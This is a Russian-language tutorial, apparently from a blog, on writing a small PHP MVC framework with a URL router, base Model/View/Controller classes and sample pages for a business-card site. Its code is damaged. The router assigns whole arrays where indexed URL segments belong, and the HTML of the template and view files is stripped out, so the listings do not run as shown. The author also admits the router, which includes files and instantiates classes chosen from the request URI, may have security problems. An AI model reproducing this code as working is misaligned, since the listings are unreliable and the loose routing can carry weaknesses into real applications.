  • Приложение получает запрос от пользователя и определяет запрошенные контроллер и действие. В случае главной страницы, выполняется действие по умолчанию (index ).
  • Приложение создает экземпляр контроллера и запускает метод действия,
    в котором, к примеру, содержаться вызовы модели, считывающие информацию из базы данных.
  • После этого, действие формирует представление с данными, полученными из модели и выводит результат пользователю.
  • Модель - содержит бизнес-логику приложения и включает методы выборки (это могут быть методы ORM), обработки (например, правила валидации) и предоставления конкретных данных, что зачастую делает ее очень толстой, что вполне нормально.
    Модель не должна напрямую взаимодействовать с пользователем. Все переменные, относящиеся к запросу пользователя должны обрабатываться в контроллере.
    Модель не должна генерировать HTML или другой код отображения, который может изменяться в зависимости от нужд пользователя. Такой код должен обрабатываться в видах.
    Одна и та же модель, например: модель аутентификации пользователей может использоваться как в пользовательской, так и в административной части приложения. В таком случае можно вынести общий код в отдельный класс и наследоваться от него, определяя в наследниках специфичные для подприложений методы.

    Вид - используется для задания внешнего отображения данных, полученных из контроллера и модели.
    Виды cодержат HTML-разметку и небольшие вставки PHP-кода для обхода, форматирования и отображения данных.
    Не должны напрямую обращаться к базе данных. Этим должны заниматься модели.
    Не должны работать с данными, полученными из запроса пользователя. Эту задачу должен выполнять контроллер.
    Может напрямую обращаться к свойствам и методам контроллера или моделей, для получения готовых к выводу данных.
    Виды обычно разделяют на общий шаблон, содержащий разметку, общую для всех страниц (например, шапку и подвал) и части шаблона, которые используют для отображения данных выводимых из модели или отображения форм ввода данных.

    Контроллер - связующее звено, соединяющее модели, виды и другие компоненты в рабочее приложение. Контроллер отвечает за обработку запросов пользователя. Контроллер не должен содержать SQL-запросов. Их лучше держать в моделях. Контроллер не должен содержать HTML и другой разметки. Её стоит выносить в виды.
    В хорошо спроектированном MVC-приложении контроллеры обычно очень тонкие и содержат только несколько десятков строк кода. Чего, не скажешь о Stupid Fat Controllers (SFC) в CMS Joomla. Логика контроллера довольно типична и большая ее часть выносится в базовые классы.
    Модели, наоборот, очень толстые и содержат большую часть кода, связанную с обработкой данных, т.к. структура данных и бизнес-логика, содержащаяся в них, обычно довольно специфична для конкретного приложения.

    1.1. Front Controller и Page Controller В большинстве случае, взаимодействие пользователя с web-приложением проходит посредством переходов по ссылкам. Посмотрите сейчас на адресную строку браузера - по этой ссылке вы получили данный текст. По другим ссылкам, например, находящимся справа на этой странице, вы получите другое содержимое. Таким образом, ссылка представляет конкретную команду web-приложению.

    Надеюсь, вы уже успели заметить, что у разных сайтов могут быть совершенные разные форматы построения адресной строки. Каждый формат может отображать архитектуру web-приложения. Хотя это и не всегда так, но в большинстве случаев это явный факт.

    Рассмотрим два варианта адресной строки, по которым показывается какой-то текст и профиль пользователя.

    Приблизительный код обработки в таком случае:
    switch($_GET["action"]) { case "about" : require_once("about.php"); // страница "О Нас" break; case "contacts" : require_once("contacts.php"); // страница "Контакты" break; case "feedback" : require_once("feedback.php"); // страница "Обратная связь" break; default: require_once("page404.php"); // страница "404" break; }
    Думаю, почти все так раньше делали.

    С использованием движка маршрутизации URL вы сможете для отображения той же информации настроить приложение на прием таких запросов:
    http://www.example.com/contacts/feedback

    Здесь contacts представляет собой контроллер, а feedback - это метод контроллера contacts, отображающий форму обратной связи и т.д. Мы еще вернемся к этому вопросу в практической части.

    Также стоит знать, что маршрутизаторы многих веб-фреймворков позволяют создавать произвольные маршруты URL (указать, что означает каждая часть URL) и правила их обработки.
    Теперь мы обладаем достаточными теоретическими знаниями, чтобы перейти к практике.

    2. Практика Для начала создадим следующую структуру файлов и папок:


    Забегая вперед, скажу, что в папке core будут храниться базовые классы Model, View и Controller.
    Их потомки будут храниться в директориях controllers, models и views. Файл index.php это точка в хода в приложение. Файл bootstrap.php инициирует загрузку приложения, подключая все необходимые модули и пр.

    Будем идти последовательно; откроем файл index.php и наполним его следующим кодом:
    ini_set("display_errors", 1); require_once "application/bootstrap.php";
    Тут вопросов возникнуть не должно.

    Следом, сразу же перейдем к фалу bootstrap.php :
    require_once "core/model.php"; require_once "core/view.php"; require_once "core/controller.php"; require_once "core/route.php"; Route::start(); // запускаем маршрутизатор
    Первые три строки будут подключать пока что несуществующие файлы ядра. Последние строки подключают файл с классом маршрутизатора и запускают его на выполнение вызовом статического метода start.

    2.1. Реализация маршрутизатора URL Пока что отклонимся от реализации паттерна MVC и займемся мрашрутизацией. Первый шаг, который нам нужно сделать, записать следующий код в .htaccess :
    RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule .* index.php [L]
    Этот код перенаправит обработку всех страниц на index.php , что нам и нужно. Помните в первой части мы говорили о Front Controller?!

    Маршрутизацию мы поместим в отдельный файл route.php в директорию core. В этом файле опишем класс Route, который будет запускать методы контроллеров, которые в свою очередь будут генерировать вид страниц.

    Содержимое файла route.php

    class Route { static function start() { // контроллер и действие по умолчанию $controller_name = "Main"; $action_name = "index"; $routes = explode("/", $_SERVER["REQUEST_URI"]); // получаем имя контроллера if (!empty($routes)) { $controller_name = $routes; } // получаем имя экшена if (!empty($routes)) { $action_name = $routes; } // добавляем префиксы $model_name = "Model_".$controller_name; $controller_name = "Controller_".$controller_name; $action_name = "action_".$action_name; // подцепляем файл с классом модели (файла модели может и не быть) $model_file = strtolower($model_name).".php"; $model_path = "application/models/".$model_file; if(file_exists($model_path)) { include "application/models/".$model_file; } // подцепляем файл с классом контроллера $controller_file = strtolower($controller_name).".php"; $controller_path = "application/controllers/".$controller_file; if(file_exists($controller_path)) { include "application/controllers/".$controller_file; } else { /* правильно было бы кинуть здесь исключение, но для упрощения сразу сделаем редирект на страницу 404 */ Route::ErrorPage404(); } // создаем контроллер $controller = new $controller_name; $action = $action_name; if(method_exists($controller, $action)) { // вызываем действие контроллера $controller->$action(); } else { // здесь также разумнее было бы кинуть исключение Route::ErrorPage404(); } } function ErrorPage404() { $host = "http://".$_SERVER["HTTP_HOST"]."/"; header("HTTP/1.1 404 Not Found"); header("Status: 404 Not Found"); header("Location:".$host."404"); } }


    Замечу, что в классе реализована очень упрощенная логика (несмотря на объемный код) и возможно даже имеет проблемы безопасности. Это было сделано намерено, т.к. написание полноценного класса маршрутизации заслуживает как минимум отдельной статьи. Рассмотрим основные моменты…

    В элементе глобального массива $_SERVER["REQUEST_URI"] содержится полный адрес по которому обратился пользователь.
    Например: example.ru/contacts/feedback

    С помощью функции explode производится разделение адреса на составлющие. В результате мы получаем имя контроллера, для приведенного примера, это контроллер contacts и имя действия, в нашем случае - feedback .

    Далее подключается файл модели (модель может отсутствовать) и файл контроллера, если таковые имеются и наконец, создается экземпляр контроллера и вызывается действие, опять же, если оно было описано в классе контроллера.

    Таким образом, при переходе, к примеру, по адресу:
    example.com/portfolio
    или
    example.com/portfolio/index
    роутер выполнит следующие действия:

  • подключит файл model_portfolio.php из папки models, содержащий класс Model_Portfolio;
  • подключит файл controller_portfolio.php из папки controllers, содержащий класс Controller_Portfolio;
  • создаст экземпляр класса Controller_Portfolio и вызовет действие по умолчанию - action_index, описанное в нем.
  • Если пользователь попытается обратиться по адресу несуществующего контроллера, к примеру:
    example.com/ufo
    то его перебросит на страницу «404»:
    example.com/404
    То же самое произойдет если пользователь обратится к действию, которое не описано в контроллере.2.2. Возвращаемся к реализации MVC Перейдем в папку core и добавим к файлу route.php еще три файла: model.php, view.php и controller.php


    Напомню, что они будут содержать базовые классы, к написанию которых мы сейчас и приступим.

    Содержимое файла model.php
    class Model { public function get_data() { } }
    Класс модели содержит единственный пустой метод выборки данных, который будет перекрываться в классах потомках. Когда мы будем создавать классы потомки все станет понятней.

    Содержимое файла view.php
    class View { //public $template_view; // здесь можно указать общий вид по умолчанию. function generate($content_view, $template_view, $data = null) { /* if(is_array($data)) { // преобразуем элементы массива в переменные extract($data); } */ include "application/views/".$template_view; } }
    Не трудно догадаться, что метод generate предназначен для формирования вида. В него передаются следующие параметры:

  • $content_file - виды отображающие контент страниц;
  • $template_file - общий для всех страниц шаблон;
  • $data - массив, содержащий элементы контента страницы. Обычно заполняется в модели.
  • Функцией include динамически подключается общий шаблон (вид), внутри которого будет встраиваться вид
    для отображения контента конкретной страницы.

    В нашем случае общий шаблон будет содержать header, menu, sidebar и footer, а контент страниц будет содержаться в отдельном виде. Опять же это сделано для упрощения.

    Содержимое файла controller.php
    class Controller { public $model; public $view; function __construct() { $this->view = new View(); } function action_index() { } }
    Метод action_index - это действие, вызываемое по умолчанию, его мы перекроем при реализации классов потомков.

    2.3. Реализация классов потомков Model и Controller, создание View"s Теперь начинается самое интересное! Наш сайт-визитка будет состоять из следущих страниц:
  • Главная
  • Услуги
  • Портфолио
  • Контакты
  • А также - страница «404»
  • Для каждой из страниц имеется свой контроллер из папки controllers и вид из папки views. Некоторые страницы могут использовать модель или модели из папки models.


    На предыдущем рисунке отдельно выделен файл template_view.php - это шаблон, содержащий общую для всех страниц разметку. В простейшем случае он мог бы выглядеть так:
    Главная
    Для придания сайту презентабельного вида сверстаем CSS шаблон и интегририруем его в наш сайт путем изменения структуры HTML-разметки и подключения CSS и JavaScript файлов:

    В конце статьи, в разделе «Результат», приводится ссылка на GitHub-репозиторий с проектом, в котором проделаны действия по интеграции простенького шаблона.

    2.3.1. Создадаем главную страницу Начнем с контроллера controller_main.php , вот его код:
    class Controller_Main extends Controller { function action_index() { $this->view->generate("main_view.php", "template_view.php"); } }
    В метод generate экземпляра класса View передаются имена файлов общего шаблона и вида c контентом страницы.
    Помимо индексного действия в контроллере конечно же могут содержаться и другие действия.

    Файл с общим видом мы рассмотрели ранее. Рассмотрим файл контента main_view.php :
    Добро пожаловать!

    ОЛОЛОША TEAM - команда первоклассных специалистов в области разработки веб-сайтов с многолетним опытом коллекционирования мексиканских масок, бронзовых и каменных статуй из Индии и Цейлона, барельефов и изваяний, созданных мастерами Экваториальной Африки пять-шесть веков назад...


    Здесь содержиться простая разметка без каких либо PHP-вызовов.
    Для отображения главной странички можно воспользоваться одним из следующих адресов:

    Пример с использованием вида, отображающего данные полученные из модели мы рассмотрим далее.

    2.3.2. Создадаем страницу «Портфолио» В нашем случае, страница «Портфолио» - это единственная страница использующая модель.
    Модель обычно включает методы выборки данных, например:
  • методы нативных библиотек pgsql или mysql;
  • методы библиотек, реализующих абстракицю данных. Например, методы библиотеки PEAR MDB2;
  • методы ORM;
  • методы для работы с NoSQL;
  • и др.
  • Для простоты, здесь мы не будем использовать SQL-запросы или ORM-операторы. Вместо этого мы сэмулируем реальные данные и сразу возвратим массив результатов.
    Файл модели model_portfolio.php поместим в папку models. Вот его содержимое:
    class Model_Portfolio extends Model { public function get_data() { return array(array("Year" => "2012", "Site" => "http://DunkelBeer.ru", "Description" => "Промо-сайт темного пива Dunkel от немецкого производителя Löwenbraü выпускаемого в России пивоваренной компанией "CАН ИнБев"."), array("Year" => "2012", "Site" => "http://ZopoMobile.ru", "Description" => "Русскоязычный каталог китайских телефонов компании Zopo на базе Android OS и аксессуаров к ним."), // todo); } }

    Класс контроллера модели содержится в файле controller_portfolio.php , вот его код:
    class Controller_Portfolio extends Controller { function __construct() { $this->model = new Model_Portfolio(); $this->view = new View(); } function action_index() { $data = $this->model->get_data(); $this->view->generate("portfolio_view.php", "template_view.php", $data); } }
    В переменную data записывается массив, возвращаемый методом get_data , который мы рассматривали ранее.
    Далее эта переменная передается в качестве параметра метода generate , в который также передаются: имя файла с общим шаблон и имя файла, содержащего вид c контентом страницы.

    Вид содержащий контент страницы находится в файле portfolio_view.php .
    Портфолио

    Все проекты в следующей таблице являются вымышленными, поэтому даже не пытайтесь перейти по приведенным ссылкам.
    ГодПроектОписание


    Здесь все просто, вид отображает данные полученные из модели.

    2.3.3. Создаем остальные страницы Остальные страницы создаются аналогично. Их код досутпен в репозитории на GitHub, ссылка на который приводится в конце статьи, в разделе «Результат».3. Результат А вот что получилось в итоге:

    Скриншот получившегося сайта-визитки



    Ссылка на GitHub: https://github.com/vitalyswipe/tinymvc/zipball/v0.1

    А вот в этой версии я набросал следующие классы (и соответствующие им виды):

    • Controller_Login в котором генерируется вид с формой для ввода логина и пароля, после заполнения которой производится процедура аутентификации и в случае успеха пользователь перенаправляется в админку.
    • Contorller_Admin с индексным действием, в котором проверяется был ли пользователь ранее авторизован на сайте как администратор (если был, то отображается вид админки) и действием logout для разлогинивания.
    Аутентификация и авторизация - это другая тема, поэтому здесь она не рассматривается, а лишь приводится ссылка указанная выше, чтобы было от чего оттолкнуться.4. Заключение Шаблон MVC используется в качестве архитектурной основы во многих фреймворках и CMS, которые создавались для того, чтобы иметь возможность разрабатывать качественно более сложные решения за более короткий срок. Это стало возможным благодаря повышению уровня абстракции, поскольку есть предел сложности конструкций, которыми может оперировать человеческий мозг.

    Но, использование веб-фреймворков, типа Yii или Kohana, состоящих из нескольких сотен файлов, при разработке простых веб-приложений (например, сайтов-визиткок) не всегда целесообразно. Теперь мы умеем создавать красивую MVC модель, чтобы не перемешивать Php, Html, CSS и JavaScript код в одном файле.

    Данная статья является скорее отправной точкой для изучения CMF, чем примером чего-то истинно правильного, что можно взять за основу своего веб-приложения. Возможно она даже вдохновила Вас и вы уже подумываете написать свой микрофреймворк или CMS, основанные на MVC. Но, прежде чем изобретать очередной велосипед с «блекджеком и шлюхами», еще раз подумайте, может ваши усилия разумнее направить на развитие и в помощь сообществу уже существующего проекта?!

    P.S.: Статья была переписана с учетом некоторых замечаний, оставленных в комментариях. Критика оказалась очень полезной. Судя по отклику: комментариям, обращениям в личку и количеству юзеров добавивших пост в избранное затея написать этот пост оказалось не такой уж плохой. К сожалению, не возможно учесть все пожелания и написать больше и подробнее по причине нехватки времени… но возможно это сделают те таинственные личности, кто минусовал первоначальный вариант. Удачи в проектах!

    5. Подборка полезных ссылок по сабжу В статье очень часто затрагивается тема веб-фреймворков - это очень обширная тема, потому что даже микрофреймворки состоят из многих компонентов хитро увязанных между собой и потребовалась бы не одна статья, чтобы рассказать об этих компонентах. Тем не менее, я решил привести здесь небольшую подборку ссылок (по которым я ходил при написаниие этой статьи), которые так или иначе касаются темы фреймворков.

    Теги: Добавить метки